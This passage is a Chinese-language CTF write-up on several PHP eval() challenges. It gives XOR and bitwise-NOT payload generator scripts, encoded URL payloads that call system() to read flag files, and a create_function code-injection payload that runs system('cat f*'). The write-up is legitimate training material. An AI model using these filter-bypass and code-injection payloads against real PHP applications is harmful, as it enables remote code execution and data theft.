output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
这里即可构造poc,然后这里禁用了-所以我们可以用*,总之加减乘除都可用。
?v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
我们还是可以试一下异或的脚本
发现不行
然后试一下取反的脚本
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)
&v3=-
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
这里可以用取反,但是有个问题是前面说的绕过return用的是加减乘除然后发现这里都禁用了,所以我们这里可以使用三目运算符符号。
/?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5)|
/?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5):
假如说不知道用什么符号,那就可以用burp爆破。
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
这题对比上一题多了一个过滤了:
冒号,用|
按位OR运算符
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5)|
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
拿到题目一看代码挺短的,这里首先分析这个正则把,
分析正则表达式:
^
匹配开头的字符串
[a-z0-9_]
匹配任意字母数字下划线
*
一次或者多次
$
匹配结尾字符串
/i
不区分大小写
/s
匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D
如果使用$限制结尾字符,则不允许结尾有换行
使用总结一下,这个正则大概意思就是匹配开头不包含字母或者数字的符号。
create_function:
参考文章easy - function
create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。
string create_function ( string $args , string $code )
string $args 参数部分
string $code 方法代码部分
举例:
create_function('$name','echo $fname."Zhang"')
类似于:
function fT($name) {
echo $fname."Zhang";
}
这里的create_function不能直接执行因为一般的使用要赋值给变量
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>
然后我们既要找一个符号绕过正则,然后又要能执行这个函数.
函数结构形似
create_function('$a,$b','return 111')
==>
function a($a, $b){
return 111;
}
然后执行,如果我们想要执行任意代码,就首先需要跳出这个函数定义。
create_function('$a,$b','return 111;}phpinfo();//')
==>
function a($a, $b){
return 111;}phpinfo();//
}
payload
payload:
?show=echo "666";}system("cat f*");/* #GET
ctf=\create_function #POST